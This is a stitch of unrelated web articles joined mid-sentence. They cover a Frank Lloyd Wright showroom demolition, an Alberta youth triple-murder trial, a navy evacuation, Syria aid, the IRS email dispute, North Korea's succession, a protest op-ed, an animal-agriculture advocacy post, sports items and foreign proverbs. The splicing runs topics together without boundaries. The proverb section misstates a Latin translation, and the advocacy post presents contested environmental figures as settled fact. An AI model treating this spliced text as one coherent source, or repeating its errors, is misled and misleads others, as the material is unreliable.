In his office hour (partially reproduced below), he takes on questions and challenges from students, addressing theories from the likes of Daniel Dennett and Gregory Bateson, Marvin Minski and David Hume. Have a look, and enjoy the proliferation of dogs:It’s shocking that a building designed by one of the biggest architects of the past century could disappear so quickly and quietly, but last month Frank Lloyd Wright’s auto showroom on Park Avenue was demolished and the architectural world is just now feeling the reverberations.
“It’s a national tragedy simply because there are not that many Frank Lloyd Wright design commissions left in America — and truly not that many in New York City,” Simeon Bankoff, the executive director of the Historic Districts Council in New York, explained over email. “There were three, now there are two. Frank Lloyd Wright is arguably America’s greatest architect — he’s definitely our country’s most famous one. Even given a question of the individual significance of the showroom within Wright’s extant oeuvre, it should not have been casually thrown away, but rather studied and discussed.”
Mercedes, which had used the showroom since 1957, vacated the space at the end of 2012 when their lease expired, and the showroom was demolished sometime between March 28 and April 3 of this year. As Crain’s New York reported, on March 22 the new owners were called by the Landmarks Preservation Commission to convey the city’s consideration of designating the showroom a landmark. Just after this on March 28 is when the owners of the building, Midwood Investment & Management and Oestreicher Properties, reportedly contacted the Department of Buildings for a demolition permit, which was approved that day. As Matt Chaban with Crain’s wrote: “Ironically, it was the Landmarks Commission’s good intentions, and a disconnect between it and the Department of Buildings, that doomed the dealership.”
The remaining Frank Lloyd Wright structures left in New York City are the Crimson Beech, or Cass, house on Staten Island, and his icon, the Guggenheim Museum. The sleek showroom on Park Avenue and 56th Street was completed in 1955 as the Hoffman Auto Showroom. Max Hoffman is a legend with the auto set, having been one of the first to import cars from Europe to the United States, including those from Porsche, BMW, Jaguar, and Mercedes. Wright, who would also work on a house for Hoffman on the Long Island Sound, had designed the 3,600 square feet of the showroom for Hoffman to sell Jaguars, complete with a gleaming jaguar statue leaping from the planter at the center of a rotating display platform wrapped by the curve of a ramp where additional cars could be shown. However, by the time it opened, Hoffman had moved to selling Mercedes instead, and the jaguar never got its place of honor in the center of Wright’s “machine age” design.
If the spiraling ramp seems rather familiar, it’s likely Wright was influenced by the over a decade he had been spending on the design for the Guggenheim, which started construction in 1956. In 1982, the showroom got a gleaming makeover with mirrors all over the place, including the ceiling, and in 2002 more modern metallic and glass touches, as well as an expansion, altered the original architecture. The turntable platform by that time was also sadly long dead, along with much of the automobile glamor that Hoffman and Wright had instilled in the space. However, although obscure among even architecture buffs, it was still at its core a Frank Lloyd Wright building, which is what makes its demolition so surprising.
A representative with the Frank Lloyd Wright Building Conservancy directed me to their online statement, where their executive director Janet Halstead stated:
An interior leased space presents some special challenges in terms of preservation. It is not common but it is possible to landmark such spaces. There are 115 interior landmarks in New York such as the Rainbow Room at Rockefeller Plaza, which was designated in 2012, and the lobby of the Chrysler Building. We wanted the Hoffman Auto Showroom, even in its altered state, to join that great New York list.
As for what could be done to prevent further destruction of architecture history like this in the city? Bankoff responded:
That’s an enormous question and one which we, as a preservation organization, have struggled with. Obviously architectural surveys are a start but this was an instance where the site had been identified and it didn’t help. Several years ago, my organization proposed legislation to delay demolition of significant structures in order to properly assess whether they were worthy of preservation, but it was killed by the political forces of the real estate industry. The city agency responsible for identifying and protecting historic buildings, the Landmarks Commission, needs to be strengthened and more empowered to do its job, but as long as the real estate lobby continues to wield as large a stick as it does, there is not much chance for lasting reform.
Now walking down Park Avenue where Wright’s modernist showroom once stood, you will see this: signs that a TD Bank is coming soon.A 13-year-old Alberta girl has been found guilty of murdering her parents and younger brother in a bloody attack in their Medicine Hat home.
The jury handed down its guilty verdict on three counts of first-degree murder after just three hours of deliberations on Monday in the Court of Queen's Bench in Medicine Hat.
The girl will be sentenced Aug. 23 and faces up to six years in jail, followed by up to four years supervision in the community.
As the verdict was read Monday, the girl wept quietly in the prisoner's box, her hand placed over her mouth. Her lawyer, Tim Foster, went over to her and put his arm around her.
"You develop relationships with your client, and sometimes people just need a hug," an emotional Foster told reporters outside the courtroom.
The girl, who cannot be named under the Youth Criminal Justice Act, was accused of killing her mother, father and her eight-year-old brother on April 22, 2006, when she was just 12.
She is believed to be the youngest person in Canada to be convicted of multiple counts of first-degree murder.
During the trial, which began June 4, the girl testified that her 23-year-old boyfriend, Jeremy Steinke, broke into her home and attacked and killed her mother and father.
The girl told the court that Steinke ordered her to stab her brother, which she did once, before Steinke slit the boy's throat.
Steinke, now 24, is charged with three counts of first-degree murder, but has yet to enter a plea. He is scheduled to appear in court next week.
Judge advised jurors before deliberations
Before the jury began its deliberations, Judge Scott Brooker reminded jurors that even if Steinke physically stabbed the girl's mother, her father and brother, under Canadian law, an accused can be found guilty if they intentionally help, encourage or persuade another person to commit a crime.
The judge also told the jury that to find the accused guilty of first-degree murder, they must agree that the Crown proved there was planning and deliberation involved.
Brooker gave the jury three options on each of the three charges: find the accused guilty of first-degree murder, guilty of second-degree murder, or innocent.
After the jury's decision was announced, Crown prosecutor Stephanie Cleary said she felt satisfied.
"The Crown doesn't win and the Crown doesn't lose, but I have a duty not to prosecute a case unless I believe there is a reasonable likelihood the person will be convicted," she told reporters outside the courtroom.
"From that point of view, it's satisfying to have made what appears to have been a correct assessment of the evidence."
Girl testified she was in 'zombie' state
During the trial, the girl testified she was in a "zombie" state at the time of the killings and was unable to stop her boyfriend, or go for help.
She admitted in court that she and her boyfriend used to talk about killing her parents prior to the slayings, but she insisted she was only joking at the time.
The Crown countered that the girl was an active participant in the killings, which she plotted with her boyfriend because her parents disapproved of their relationship.
The Crown told the court the girl had plenty of opportunities during and after the killings to call 911 or go for help, but she never did.
Stabbed repeatedly
Police officers and a medical examiner told the court last month that the attack on the girl's family was bloody.
The experts testified the girl's father was stabbed 24 times, while her mother was stabbed 12 times.
The boy died from a severed jugular vein and had four stab wounds to his face and chest, the experts said, noting that an autopsy suggested he was also strangled.
The police officers and medical examiner said the family's home was drenched in blood after the attack, with splatter on the walls, floors and ceilings.New Delhi: Four ships of the Indian Navy were sailed on Wednesday morning to evacuate about 800 tourists from Havelock Island in Andaman and Nicobar Islands, an official said. The sudden evacuation mission was initiated at the request of the Andaman and Nicobar disaster management, which speculates that a "cyclonic storm" might struck Havelock, an island about 36 km from capital Port Blair.
"There is a deep depression (in the sea) about 310 kms from Port Blair. That is why the Navy was contacted as we don't want to take any chances," an official from Directorate of Disaster Management, A&N administration, told IANS.
More than 800 tourists are stranded in Havelock Island; we are ready for evacuation, waiting for weather to clear: DK Sharma (Navy PRO) pic.twitter.com/mM8sRQKAaA — ANI (@ANI_news) December 7, 2016
The official said that because of heavy rains and winds, the difficulty tourists are facing is to reach the jetty to board the ships. "We can't say as of now that the depression will turn into a cyclone," the official said. They expect the evacuation to be completed by the evening, he said.
Navy spokesperson Captain D.K. Sharma said the ships were in the area and that there was a bad sea state. He said the ships departed from Port Blair around 0315 hours onwards. The official said the Indian Navy has sent four ships -- INS Bitra, Bangaram, Kumbhir and LCU 38 -- for the evacuation.
Sharma said all the ships will go alongside and ferry tourists to Port Blair. Their highest consideration is safety of the tourists.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Some members of the Syria opposition said they were disappointed by the Rome session.
“It is obvious that the real support is absent,” said Walid al-Bunni, a spokesman for the anti-Assad coalition. He said what the resistance needed most was weapons. “What we want is to stop the Scuds launched on Aleppo, to stop the warplanes that are bombing our towns and villages.”
Mr. Khatib, for his part, delivered an emotional statement in which he urged establishment of a humanitarian corridor to the besieged city of Homs, and complained that many in the West were too quick to judge some members of the opposition as Islamic extremists because of “the length of a beard of a fighter.”
“Bashar Assad, for once in your life, behave as a human being,” Mr. Khatib said. “Bashar Assad, you have to make at least one wise decision in your life for the future of your country.”
One aim of the $60 million in aid is to help the Syrian opposition coalition, which is led by Mr. Khatib and which the United States backs and has helped shape, in building credibility within the country and contesting the influence of extremist groups like the Nusra Front, or Jabhet al-Nusra, an organization affiliated with Al Qaeda.
American officials have become increasingly concerned that the Nusra Front is making inroads among the Syrian population by dispersing assistance in the areas it controls.
The American assistance could also help the Syrian coalition develop the governance skills it will need to play a role in any post-Assad political transition.
The funds are to be used in areas controlled by the Syrian opposition coalition to improve education, sanitation and security. Another goal is to strengthen the rule of law in these areas and discourage vigilante justice or revenge killings. To carry out the program, the United States plans to send technical advisers to the headquarters of the Syrian opposition in Cairo. The advisers will be drawn from nongovernmental organizations.
The $60 million is on top of more than $50 million in assistance, including communications equipment, that the United States has already provided to local councils and civil activists. The new funds need to be approved by Congress, which is caught up in politics over how to cut the American budget deficit. But Mr. Kerry said that he expected Congressional approval soon.The government, mainstream media, and multiple environmental organizations are constantly driving our attention toward oil and gas, transportation, and many other industries that contribute to environmental degradation and destruction. How often do you hear that animal agriculture is the leading force behind all of this?
The environmental destruction that occurs as a result of animal agriculture is alarming, yet it tends to be swept under the rug. Environmental organizations often refuse to address this issue because it affects so many people and our understanding of how we live and thrive. Meat is a staple found on the tables in most houses, and it’s a huge money-maker (with a value of $1.4 trillion, to be exact), so many organizations choose to avoid the topic altogether.
We can no longer look the other way when it comes to the destruction of the environment. The Earth is our home, without which we have nowhere to thrive. Factory farming has become far too significant of an issue to ignore. It’s a leading cause of overfishing, wildlife destruction, deforestation, land degradation, and depletion of freshwater, and is responsible for 65% of all human-related nitrous oxide emissions and an absurd amount of methane and carbon dioxide emissions. It also, ironically enough, contributes to world hunger.
Let’s take a look at some of the main issues related to animal agriculture and the environment.
The Relationship Animal Agriculture Holds to Land
Livestock occupies 45% of Earth’s total land. Excessive land use directly contributes to land degradation and deforestation. For example, in the Amazon basin alone, approximately 70% of land that used to be forested is now used as pasture, and the remainder is largely used as feed crops.
Keep in mind that all of these animals need to be fed. So, when demand rises for meat, factory farms grow, increasing the overall number of animals used for human consumption. The more animals living at these farms, the more land that’s used to grow food solely to feed them. This food could be feeding hungry human beings all over the planet, but instead is used to fatten up the animals we consume.
In the US, livestock is fed 47% and 60% of all soy and corn production, respectively. Approximately 842 million people are suffering from hunger worldwide, a number that could be decreased if factory farms provided them with the same amount, or even just a fraction of the amount, that is fed to their animals. It’s expected that farmers will need to produce 50% more food by 2050 and that demand for meat and dairy will increase drastically, so this problem will not disappear on its own.
In addition, pretty much all of the soy and corn fed to these animals is genetically modified (approximately 90% for both crops), and these crops come with numerous environmental and health problems of their own. Since Monsanto has monopolized the U.S. farming industry, GMO crops are typically sprayed with their herbicide Roundup. As a result, weeds have begun to develop immunity to the spray, creating “super weeds,” an outcome that can significantly damage both the environment and the crop.
This monopoly promotes the cultivation of a single, uniform crop, otherwise known as monoculture, which can lead to a decline in biodiversity, as it can greatly impact population dynamics and ecosystem roles. Essentially, the more animals we eat, the more food we must use to feed them, and thus the more GM corn and soy we must grow, leading to further land degradation and environmental damage, not to mention the health issues they pose to humans.
We highly suggest watching: Cowspiracy
Water Depletion and Overfishing
Animal agriculture consumes a whopping 34-76 trillion gallons of water annually. Let’s put this into perspective: Adults typically drink two litres of water today, which translates to roughly half a gallon. The water used in average households is approximately 98 gallons per day. The amount of water required to make one apple is about 18 gallons. The water used to make one burger is 660 gallons.
Likewise, 1 pound of beef uses 1,799 gallons of water. This calculation includes irrigation of the grains and grasses used to feed the animal in addition to the water used for drinking and when processing. It’s not just beef, it’s all animal products. 1 pound of chicken uses 468 gallons of water, 1 pound of pork uses 576 gallons, 1 gallon of milk uses 880 gallons, and 1 pound of cheese uses 600 gallons.
How does that compare with plant-based products? 1 pound of corn uses 108 gallons of water, 1 pound of soybeans uses 216 gallons of water, 1 pound of potatoes uses 119 gallons, and 1 orange uses 13 gallons.
That’s not the only problem when it comes to animal agriculture and water. In 2010, 53% of fisheries were completely used up, and it’s only gotten worse, partially because factory fishers inadvertently kill and discard 200 million pounds of non-target fish daily. Over-utilizing these resources affects ecosystems negatively and puts societies at risk of losing valuable resources.
Meanwhile, 500 million tonnes of factory farm waste are produced in the U.S. annually and 35,000 miles of river across 22 U.S. states were polluted as a result in 2013. This waste is difficult to prevent and control given the exponential growth of the industry, and it won’t get any easier as demand rises. Farm animals produce 130 times more waste than humans; do we really need so many of them in order to feed ourselves?
Many people are happier and healthier eating plant-based diets, and you would reduce your environmental footprint significantly if you followed one. Even just cutting our meat, especially red meat, can reduce your environmental impact significantly. Giving up just beef would do more for the environment than if you stopped using your car entirely!
Check out this cookbook: Forks Over Knives – The Cookbook: Over 300 Recipes for Plant-Based Eating All Through the Year
Final Thoughts
It’s important that we educate one another on our environmental impact so we can try our best to reduce it. Even if you don’t want to go vegan entirely, just being mindful of this information and trying to reduce your intake of animal products is a big step in the right direction. It doesn’t have to be all or nothing.
Ultimately, we vote with our dollars, so we do have a power to make a difference. Without demand for animal products, we wouldn’t have these issues. So, if you want to reduce your ecological footprint, all you have to do is stop supporting companies that contribute to environmental destruction.
If you’re looking for some inspiration to eat more plant-based or go vegan, check out these CE articles:
6 Vegan Cookbooks You Need To Try This Summer!
16 Vegan One-Pot Recipes If You Are Considering Cutting Animals Out Of Your Diet
7 Simple & Delicious Vegan Slow Cooker Recipes
21 Easy Vegan Lunches To Take To WorkThe chairman of a powerful committee in Congress is demanding access 'without delay' to a key witness in the Lois Lerner email saga that has engulfed the IRS, but the Treasury Department insists she can't testify until after the midterm congressional elections.
House Ways and Means Chairman Dave Camp, a Michigan Republican, demanded late Wednesday in a letter to Treasury Secretary Jacob Lew that he must make Treasury counsel Hannah Stott-Bumsted available before that Nov. 4 political milestone date.
Stott-Bumsted was the first Treasury aide to learn that the IRS was unable to locate two years' worth of disgraced official Lois Lerner's emails because of a hard drive crash.
Her former private law practice colleague Catherine Duval told her in April, according to reports of closed-door testimony Duval gave the House Oversight and Government Reform Committee.
That disclosure, Duval reportedly told the committee, led to the White House finding out about the email losses two months before Congress was notified.
SCROLL DOWN FOR VIDEO AND TO READ THE LETTER
Former IRS Director of Exempt Organizations Lois Lerner has refused to answer lawmakers' questions about the tea party targeting scandal; she was held in Contempt of Congress this year
House Ways and Means Committee chairman Rep. Dave Camp is trying to force the Treasury Department's hand so he can hear testimony from a Treasury lawyer who was the first official outside the IRS to learn that Lerner'shard drive crash had wiped out two years' worth of emails
Lerner, who took a retirement package late last year and refused to answer questions in two separate congressional hearings, remains at the center of a scandal involving alleged political targeting of conservative nonprofit groups when they sought tax-exempt status.
Camp has sought Stott-Bumsted's testimony since mid-September, he wrote, but Teasury has stonewalled him and ignored his requests.
'Treasury officials ignored this committee's phone and email inquiries about Ms. Stott-Bumsted's availability,' Camp wrote to Lew.
'On the morning of October 14, a month from the initial request, the same Treasury officials told staff that Ms. Stott-Bumsted was not available until sometime in November.'
Camp added that Treasury insisted interviewing a Treasury Department lawyer would introduce 'Constitutional and practical concerns' – even though Ways and Means has already questioned more than a dozen of them.
'Why the sudden change in protocol?' he asked.
His demands include a list of everyone at Treasury who learned about the email problems before Congress was notified. He also wants to know who told the White House, which White House officials were informed, and when.
'Your office is now refusing to make available until after the election the very person that could unlock that mystery. This is completely unacceptable, especially for an administration that once pledged to be the most open and transparent ever.'
Hot seat: Treasury Secretary Jacob Lew's agency wants to hold off providing Hannah Stott-Bumsted for testimony until after the midterm elections, when more bad news could hurt Democrats' already waning hope of gaining seats in Congress
The scandal broke wide open in May 2013 when Lerner, then director of the IRS Exempt Organizations division, answered a planted question during a tax lawyers' conference about how her agency decided which nonprofit groups to scrutinize carefully.
Lerner knew what Congress did not: that an internal Inspector General report on the matter would be issued soon, thrusting it into the public spotlight.
Republicans howled at the admission that organizations were selected for intrusive questions and long delays based on words like 'patriots' and 'tea party' in their names.
Days later, President Barack Obama accepted the resignation of the acting IRS commissioner and promised in a statement from the White House that his administration would 'work with Congress as it performs its oversight role' and work 'hand in hand with Congress to get this thing fixed.'
Many of the Lerner emails sought by Congress have been recovered by searching the archives of other IRS employees who sent or received them. But countless more, including any between Lerner and officials at the White House or other agencies, are likely gone for good.
IRS Commissioner John Koskinen has testified repeatedly on Capitol Hill that his employees did everything possible to recover data from Lerner's hard drive, including sending it to forensic experts at the FBI.
Ultimately, he has said, no data was recoverable – and the hard drive was destroyed by a recycling contractor.Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
WHEN North Korea's leader, Kim Jong Il, and his son and newly anointed heir, Kim Jong Un, stepped onto a balcony to watch a display of dancing and fireworks on October 10th, the audience in the square below applauded politely. But as loudspeakers blared recorded cries of “long life, long life”, many did not join in. The Kim dynasty has fixed its succession but its propaganda grip is weakening.
The authorities, normally reluctant to let foreign journalists explore the grimness of what they call “beautiful and modern” Pyongyang, were so excited by Kim Jong Un's coming out as leader-in-waiting that they let down their guard. More than 70 journalists were suddenly given visas to attend a series of events on October 9th and 10th that afforded the outside world a first glimpse of the man now to be known as the “young general”. They also had rare access to an austere city many of whose citizens suffered hunger earlier this year after a shock currency revaluation in November. The leadership's attempts to convince them that theirs is a “people's paradise” are likely to fall on many deaf ears.
Kim Jong Un's appearances, after more than a year of speculation abroad about his being groomed to take over from his ailing father, were choreographed for maximum political effect. North Koreans saw his face for the first time in a photograph published by the state media on September 30th. This followed his elevation earlier in the week to the rank of general and vice-chairman of the ruling party's military commission (though not yet to the National Defence Commission, which wields supreme power). Mr Kim, who is in his late 20s, has little, if any, military experience.
A few outings in early October with his father—to an artillery drill, a concert and on an inspection tour of a theatre—were enough to prepare Mr Kim for much bigger audiences and for the world's media. Foreign journalists saw him for the first time on October 9th at a mass gymnastic performance in a Pyongyang stadium. The next day, he and his father took centre stage at a huge military parade through the city that was broadcast live to the nation. The symbolism was striking: father standing next to son, separated by a couple of paces, on a balcony. Below them a huge gold-framed portrait of a grinning Kim Il Sung, Kim Jong Il's late father and founder of the dynasty, completed the trinity. The portly, podgy-faced Kim Jong Un, wearing a dark Mao suit, looked the spitting image of his grandfather at a similar age.
After the troops, tanks and missiles had thundered past, the audience waved and cheered with seeming enthusiasm when Kim Jong Il waved at them from the balcony. But at the fireworks and dancing display that evening at the same venue—Kim Il Sung Square—the response was less rousing. A few of the thousands of performers wept (as had a couple of female paratroopers as they passed the balcony during the earlier parade). But little fervour was otherwise in evidence.
The grooming of Kim the younger is only just beginning. His voice has yet to be heard in public (Kim Jong Il's only got an airing 12 years after he emerged as his father's successor). But he is likely to get an accelerated initiation. The appearances in Pyongyang seemed partly designed to show that Kim Jong Il, who is 69, remains very much in charge. But the North Korean media did not show what Western hacks clearly saw: the leader holding onto the balcony for support as he walked, left leg clearly limping. After a stroke in 2008, he is believed not to be well.
Another message the authorities apparently hoped to send was that Kim Jong Un will have others to guide him. Military expertise will be provided by Ri Yong Ho, North Korea's chief of staff, who for much of the parade stood between the two Kims. Kim Jong Il's brother-in-law, Chang Sung Taek, and sister Kim Kyong Hui will also be crucial figures. The state media said they had joined Kim Jong Un on his recent excursions. The conspicuous presence of a senior member of China's ruling Politburo, Zhou Yongkang, at the October 10th events was designed to show Chinese support for these arrangements. Kim Jong Il encouraged him to wave from the balcony.
The public will be harder to convince. The parade and dancing were extravagances (staged to coincide with the ruling Korean Workers' Party's 65th birthday) that contrasted sharply with daily life in the city. There are a few more cars on the streets these days, many of them Chinese-made. But these are for the elite (perhaps as gifts bestowed by influence-seeking Chinese). There are also a few bicycles (for men only: Kim Jong Il apparently disapproves of women on bikes). But most take rickety public transport or walk.
There is no sign of the “radical improvement” in North Korean living standards that officials once talked of achieving this year. Neon lights blazed in a few places during the journalists' visit, but foreign residents say that the city is normally dark at night. Power is so intermittent that policewomen (invariably young and pretty) still direct traffic at intersections with traffic lights, which are a very recent innovation in Pyongyang.
An unsupervised visit to a department store (a rare treat for normally chaperoned foreign journalists) revealed Pyongyang's dearth of consumer culture. In half an hour, your correspondent saw only a trickle of customers and just four items being sold: a pencil, a wind-up plastic frog, a quilt and a golden statuette of a soldier. On the fourth floor a member of staff adjusted a red curtain at a marble shrine to Kim Il Sung. Others watched television, amid swathes of unused floor space.
At a nearby shop, several people milled around a counter selling DVDs—a hint that DVD players are becoming household items. Foreign residents say DVDs from South Korea are helping to spread knowledge of the South's far greater affluence. Several people also sported mobile telephones. Pyongyang is said to have gained some 200,000 subscribers since the mobile service was introduced a couple of years ago. Most are permitted only to call other North Koreans, not people abroad or even foreign residents.
The city seems to have largely recovered from last November's revaluation of the won, which permitted only limited amounts of old bills to be exchanged for new ones. From January until mid-February, when the authorities relented and re-allowed transactions in hard currency, commerce almost ground to a halt. It became nearly impossible to buy food except at great expense on the black market. Inflation soared. “When in Rome, do as the Romanians do,” one official assigned to mind foreign journalists kept telling them, oddly. The Kims, mindful of the grisly end of Romania's Nicolae Ceausescu in 1989, will try to ensure that disgruntled North Koreans do no such thing.Feb 12, 2017 Ξ Comments are off
By Ed Diokno
Views from the Edge
Since Donald Trump’S inauguration as the 45th President of the U.S.last Jan. 21, the people have risen in a dramatic display of democracy in action demanding they be heard, insisting that their Congressional representatives listen to their concerns about policies seeking to undo generations of progress for all Americans.
It is inspiring!
You have packed town halls, demonstrated in the streets, protested at airports in spontaneous displays of patriotism. You have held meetings in your homes, organized forums and staged boycotts.
From the white bandanas worn by models during New York’s Fashion Week to the government employees who have started their own social media sites to the judges defending the Constitution in the courts, you have done whatever you could to show your displeasure of the current administration.
From the days immediately after the election when we thought all was lost, the future looked dismal and hope had disappeared with the previous administration, we have regained our sense of hope and we see bright lights on the horizon.
“We will look back on this Trump ban as a shameful chapter of US history,” said Bill Ong Hing, a University of San Francisco law professor who has worked to defend American civil liberties.
Hing explained that several organisations – San Francisco’s Asian Law Caucus, as well as New York’s Asian American Legal Defense and Education Fund – are among the legal minds participating in the nationwide fight against the order.
As someone who has worked for a politician, one of things that we emphasized in our office was to battle complacency and apathy. There were times when I doubted the future of democracy with so few people voting, attending town halls and taking part in what we dubbed, The Process.
I can tell you that there are not many more powerful influences than having a constituent, or a group of constituents, meet with their elected representative to voice their concerns and issues. Although we preferred thoughtful give-and-take, there were times when it became unruly, but we got the message, nevertheless.
A group of staff members of politicians got together to share what they learned on the job so that you can be more effective in communicating with your elected official. They’ve been joined by scores of volunteers to work on this guide on their own time. They seek to emulate the tea party for progressives
The video below gives you the highlights in an understandable format. For more details, click here. It’s good stuff and I can tell you from experience: It works!
In order for our voices to be heard and perhaps change a few votes in the House and Senate, maybe even change a mind or two in the White House, we have to be persistent, beyond the first three weeks of Trump, beyond the first 100 days, but we have to plan and strategize for the long term.
In the short term, we have to act whenever one of the President’s executive orders or the GOP dominated Senate makes up new rules to silent the opposition. But in the long-term, we have to think of ways of improving the Affordable Care Act, keeping Medicare, Medicaid and Social Security – all of which are being targeted by the Trump administration and Republicans, and all of which will take time to completely undo.
Deporting millions of immigrants who have lived in the U.S. most of their lives, issuing travel bans aimed at refugees and Muslims, denying climate change and other issues such as eliminating the EPA and Education, returning to a fossil fuel dependence top a long list of other issues that are in the Trumpeters’ long-range plans
Remember, as the demonstrations in the last few weeks have shown: There are more people who voted against Trump than voted for him. You are not alone.
Democracy is not a sport for bystanders. You need to get off the sidelines and into the game, participate and be knowledgeable in order for our government to work for you.
AsAmNews has Asian America in its heart. We’re an all-volunteer effort of dedicated staff and interns. You can show your support by liking our Facebook page at www.facebook.com/asamnews, following us on Twitter, sharing our stories, interning or joining our staff.Odd Hobby: Little People Pictures (What's Your Pet Project?)
Hide caption "Je vous assure que vous alliez trop lentement." (I assure you you're going too slow.) Previous Next Jean-Joseph Renucci
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When Jean-Joseph Renucci's daughter was little, he would tell her stories about "les petits bonhommes verts" (little green men) who lived in the ceiling. They were responsible when a pen or a toy went missing, Renucci writes in an email. And, he says, "I admit I loved to imagine they were here for real."
Several years later, after seeing the work of Slinkachu — who has become somewhat Internet-famous for his little-people street scenes — Renucci decided to construct his own Lilliputian landscapes.
The biography on his website is no help whatsoever in learning more about him. But, he tells me, he has a day job — in communications and freelance design in Ajaccio, Corsica. Projects like this one, he says, are just for kicks: "This is an important part of this type of work: FUN."
So here's to side projects! What's yours?Several weeks ago I started playing with Laravel. Primarily because several colleagues are using it, and have suggested that I take a look at it. During my time reviewing how to build a view template I came across references to Html, Form, View and other static calls. Initially I was not impressed due to the use of so many static calls. I have come to an understanding about how static calls in certain
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si trovava allo stadio, è stato portato via per motivi di sicurezza. Al termine della partita, gli spettatori si sono riversati sul terreno di gioco e non sono stati fatti uscire fino alle 2 di notte.
Hollande: «Chiuse le frontiere» Il capo dello Stato ha subito convocato un consiglio dei ministri straordinario, si è poi recato al teatro Bataclan e infine è apparso in televisione annunciando «la chiusura delle frontiere (poi rientrata) e lo stato d’emergenza in tutta la Francia». Obama, informato strettamente sull’evolversi della situazione, ha definito gli attacchi «oltraggiosi». Stati Uniti e Francia «continueranno a lavorare insieme e con altri Paesi nel mondo per sconfiggere il flagello del terrorismo», ha detto il capo della Casa Bianca nel corso di una telefonata a Hollande.
Farnesina: «Evitare spostamenti» La Farnesina ha invitato gli italiani a Parigi «ad attenersi alle indicazioni delle autorità locali e a evitare ogni spostamento», in un annuncio pubblicato sul sito Viaggiaresicuri dell’unità di crisi del ministero degli Esteri.The Red Wings may be locked out, but that didn’t stop them from having an informal practice at the Troy Sports Center in Troy, Michigan Monday morning. Players that showed up included: Zetterberg, Kronwall, Bertuzzi, Howard, Franzen, Gustavsson, White, Nyquist, Miller, Ericsson, Abdelkader, Emmerton, Cleary, and Eaves.
It was good to see Patrick Eaves on the ice again as he continues to progress in his workouts. The last time he played in a game was last November, when he took a puck to the jaw and received a concussion. He seemed to be a little better yesterday, but he was still taking it easy.
The players took part in rigorous drills, digging deep and pushing hard as they practiced forechecking, 2-on-0’s, 2-on-1’s, and shootouts. Jimmy Howard and Jonas “The Monster” Gustavsson were bombarded with shots from every angle. Howard looked sharp throughout the practice, while Gustavsson appeared a little rusty at first. By the end of the morning, both goalies looked pretty solid in net.
There was an aura of uncertainty in the cold arena air. Star forwards Pavel Datsyuk and Valtteri Filppula have already signed in the KHL and SM-liiga (Finnish Elite League) respectively. As the year progresses, and if the two sides don’t make any progress in the negotiations, more players may turn to Europe and Russia. Of course, the contracts they sign overseas all have “outs” in them, allowing the players to return to the NHL when the lockout is over.
Dan Cleary was quoted yesterday saying: “I think people don’t think it can go a year. As players, we think it can, maybe longer.” However Senior VP/Alternate Governor Jim Devellano has stated “it’s way too early to speculate…you don’t know what is going to happen in a month from now.” Is it time to jump ship? No. It’s currently 10 days into the lockout. Anything can happen as long as the two sides sit down and hash out a deal preferably soon.
Follow me on Twitter @yungsporkRepublican senate candidate Roy Moore (screengrab)
The Highland Gardens Baptist Church in Montgomery, Alabama is complaining about an angry backlash after former Pastor Earl Wise reportedly said he would back Republican Senate nominee Roy Moore even if all of the allegations were true.
“He’s not the pastor here anymore. He hasn’t been here since June,” a church representative told The Christian Post in defense. The representative refused to give her name.
“I don’t know how much these women are getting paid, but I can only believe they’re getting a healthy sum,” the Boston Globe quoted Pastor Wise as suggesting. “How these gals came up with this, I don’t know. They must have had some sweet dreams somewhere down the line.”
The pastor seemed to suggest that 14-year-olds could be to blame for sexual assault inflicted upon them by an adult.
“There are some 14-year-olds, who, the way they look, could pass for 20,” the pastor explained.
Now, Pastor Wise’s former congregation are experiencing backlash after his controversial remarks.
“They are calling our church saying this is a pedophile congregation and stuff like that,” the Highland Gardens Baptist Church noted.
“You know, we’re not a pedophile church. We can’t help how he comments,” the representative argued. “He’s not our pastor anymore. He doesn’t represent us anymore here.”Facebook CEO Mark Zuckerberg officially launched FWD.us, his immigration reform group made up of such Silicon Valley luminaries as Marissa Mayer, Eric Schmidt, Bill Gates, and Steve Ballmer. However, the group's impressive list of members just got a little shorter — according to Reuters, SpaceX and Tesla Motors founder Elon Musk has officially left the group after it funded advertisements for senators who support an oil pipeline and oil drilling in Alaska. The ads themselves were focused more on the senators' general policies and positions rather than immigration specifically, including support for the Keystone XL oil pipeline. There was a quick backlash from a number of progressive or environmental-focused organizations like MoveOn.org and Sierra Club, which pulled their advertising from Facebook in response. While Musk declined to elaborate on his reasons for leaving Zuckerberg's immigration group, his all-electric Tesla Motors is one of the best-known green companies around.It's probably time for Pau Gasol to just run and hide. If he sees Blake Griffin running down the lane, or sees the athletic Clippers big man lining up a tip-jam, it might be time for Gasol to just back away and concede the issue. Because bad things keep happening on Wednesday night.
First it was a vicious tip-jam in the first quarter. Gasol seemed to have the rebound all lined up, but he didn't. Not with Griffin around, hovering near the rim with that outlandish vertical.
Then, in the third quarter, it happened again. This time, however, it wasn't a rebound. It was just a straight-up poster jam, and Gasol was, once again, the victim. Poor guy can't catch a break.
This may have been an offensive foul on Griffin, but it went down as an and-one, and Gasol was once again left wondering what in the world happened. Fool me once, shame on you. Fool me twice, shame on me.
If it happens again, it's probably just time to call it a night.Every language has certain proverbs that do not make sense when translated into another language. Maybe it’s something you’ve heard your grandparents say growing up that you could never explain to your friends. There’s an ancient Italian proverb… “Traduttori? Traditori!” This directly translates into English as “Translators? Traitors!” Unfortunately, the meaning disappears when directly translated. This Italian proverb holds the same meaning as the English proverb, “Something’s always lost in translation.”
Translation is no easy task. It takes extensive knowledge to create a new document that does not betray the texts. One of the most difficult aspects of a translator’s job is to work with idiomatic expressions. Sometimes, there is an equivalent expression, but many times, there is not.
Here are some examples of proverbs from various languages that might not translate well into English:
German – “ Geh mir nicht auf den Keks!” The literal translation is “Don’t walk on my cookie!” In actuality, it is an idiomatic expression meaning “Don’t annoy me!”
– “ The literal translation is “Don’t walk on my cookie!” In actuality, it is an idiomatic expression meaning “Don’t annoy me!” French – “ Bons nageurs sont à la fin noyés.” The direct translation is “Good swimmers are often drowned.” It is used as a warning to someone becoming overconfident.
– “ The direct translation is “Good swimmers are often drowned.” It is used as a warning to someone becoming overconfident. Latin – “ Radix malorum est cupiditas.” This literally translates to “Money is the root of all evil.” However, it is used to mean “The root of all evil is desire.”
